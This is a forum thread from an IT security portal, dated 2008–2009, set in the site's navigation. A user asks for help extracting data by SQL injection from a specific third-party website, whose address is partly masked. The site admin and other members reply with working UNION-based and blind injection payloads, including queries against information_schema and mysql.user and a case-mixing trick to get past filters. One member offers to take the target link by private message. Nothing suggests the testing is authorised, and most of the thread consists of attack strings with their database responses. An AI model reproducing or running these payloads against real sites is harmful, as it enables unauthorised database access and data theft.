Waraxe IT Security Portal
Login or Register
June 17, 2025
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 43
Members: 0
Total: 43
Full disclosure
SEC Consult SA-20250604-0 :: Local Privilege Escalation and Default Credentials in INDAMED - MEDICAL OFFICE (Medical practice management) Demo version
Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? Secure Enclave Key Theft, Wormable RCE, Crypto Theft
Defense in depth -- the Microsoft way (part 89): user grouppolicies don't deserve tamper protection
CVE-2025-45542: Time-Based Blind SQL Injection in CloudClassroom PHP Project v1.0
ERPNext v15.53.1 Stored XSS in bio Field Allows Arbitrary Script Execution in Profile Page
ERPNext v15.53.1 Stored XSS in user_image Field Allows Script Execution via Injected Image Path
Local information disclosure in apport and systemd-coredump
Stored XSS via File Upload - adaptcmsv3.0.3
IDOR "Change Password" Functionality - adaptcmsv3.0.3
Stored XSS "Send Message" Functionality - adaptcmsv3.0.3
Authenticated File Upload to RCE - adaptcmsv3.0.3
Stored XSS in "Description" Functionality - cubecartv6.5.9
Multiple Vulnerabilities in SAP GuiXT Scripting
CVE-2024-47081: Netrc credential leak in PSF requests library
Exploit CVE-2019-9978: Remote Code Execution in Social Warfare WordPress Plugin (<= 3.5.2)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> SQL Injection troubles : SELECT command denied
Post new topicReply to topic View previous topic :: View next topic
SQL Injection troubles : SELECT command denied
PostPosted: Mon Oct 20, 2008 9:19 pm Reply with quote
pinkman
Regular user
Regular user
Joined: Oct 21, 2008
Posts: 5




Hi all,

I've got some troubles with a sql injection :
Code:

http://**/homepage-liste.php?rubrique=-1+AND+1=0+UNION+SELECT+ALL+1,2,3,4,5,group_concat(schema_name),7,8,9,10,11,12,13,14+from+information_schema.schemata/*


It says :
Code:

SELECT command denied to user '***_actualites'@'localhost' for table 'schemata'



NB : the columns 6 and 7 are vulnerable

The version of mysql is 4 and I had to use unhex(hex(@@version))
Code:

homepage-liste.php?rubrique=-1+AND+1=0+UNION+SELECT+ALL+1,2,3,4,5,unhex(hex(@@version)),7,8,9,10,11,12,13,14/*


which give :
Code:
4.1.11-Debian_4-log



Another strange thing that I do not understand :

Code:
http://***actualites/homepage-liste.php?rubrique=-1+AND+1=0+UNION+SELECT+ALL+1,2,3,4,5,6,7,8,9,10,11,12,13,14+from%20admin/*


The answer :
Code:

Table '***_actualites.admin' doesn't exist



So my questions are :

1.How do I bypass this restriction ?
2.Do I Have to use Blind SQL INJECTION because of the mysql 4 ?
3.If I had to use unhex(hex(@@version)), are the sql injection code should had been in hex(sqlcode) ?


NB : The following papers I use : http://milw0rm.com/papers/225

Thanks
View user's profile Send private message
PostPosted: Mon Oct 20, 2008 11:00 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Try "information_schema.tables", it should be accessible.
And if you use UNHEX(HEX(@@version)), then result is plaintext, not hex-encoded.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Tue Oct 21, 2008 11:30 am Reply with quote
pinkman
Regular user
Regular user
Joined: Oct 21, 2008
Posts: 5




That doesn't work Sad
Code:
http://****/actualites/homepage-liste.php?rubrique=-1+AND+1=0+UNION+SELECT+ALL+1,2,3,4,5,group_concat(schema_table),7,8,9,10,11,12,13,14+from+information_schema.tables/*


Which give the same things :
Code:
SELECT command denied to user '***_actualites'@'localhost' for table 'tables'


What I think is that the user doesn't have the rights/permissions to use the commande SELECT.
So in this case how could I do?

Thanks
View user's profile Send private message
PostPosted: Tue Oct 21, 2008 11:54 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Try this:

Code:

http://****/actualites/homepage-liste.php?rubrique=-1+UNION+SELECT+1,2,3,4,5,table_name,7,8,9,10,11,12,13,14+FROM+information_schema.tables+LIMIT+1,1/*
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Wed Oct 22, 2008 4:30 pm Reply with quote
pinkman
Regular user
Regular user
Joined: Oct 21, 2008
Posts: 5




Still doesn't work


Code:

SELECT command denied to user '***_actualites'@'localhost' for table 'tables'

View user's profile Send private message
PostPosted: Wed Oct 22, 2008 6:09 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




OK, my mistake ... i should have realized before, that you have mysql version < 5.x, so no information_schema here ...
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Wed Oct 22, 2008 10:15 pm Reply with quote
pinkman
Regular user
Regular user
Joined: Oct 21, 2008
Posts: 5




Yep, that's the bad thing.
So I have to use Blind SQL Technics.
But there is still one last question ; why the user can't use the SELECT SQL command?
View user's profile Send private message
PostPosted: Tue Feb 10, 2009 5:26 pm Reply with quote
sangteamtham
Beginner
Beginner
Joined: Feb 10, 2009
Posts: 1




Change sth like
UnIon SelECT **** FrOm informtion_schema.tables--
or /*
View user's profile Send private message
PostPosted: Tue Feb 10, 2009 6:04 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




sangteamtham wrote:
Change sth like
UnIon SelECT **** FrOm informtion_schema.tables--
or /*


It's mysql ver. < 5.0 with no information_schema ...
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Tue Feb 10, 2009 6:10 pm Reply with quote
ingh1pped
Advanced user
Advanced user
Joined: Dec 13, 2008
Posts: 88




go with blind :
http://****/actualites/homepage-liste.php?rubrique=1 and (SELECT 1 from mysql.user limit 0,1)=1
and check if the page is regular loaded. try to change mysql.user with other table that you know exist..

try this.. or send me your link in pm.
View user's profile Send private message
SQL Injection troubles : SELECT command denied
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.025 Seconds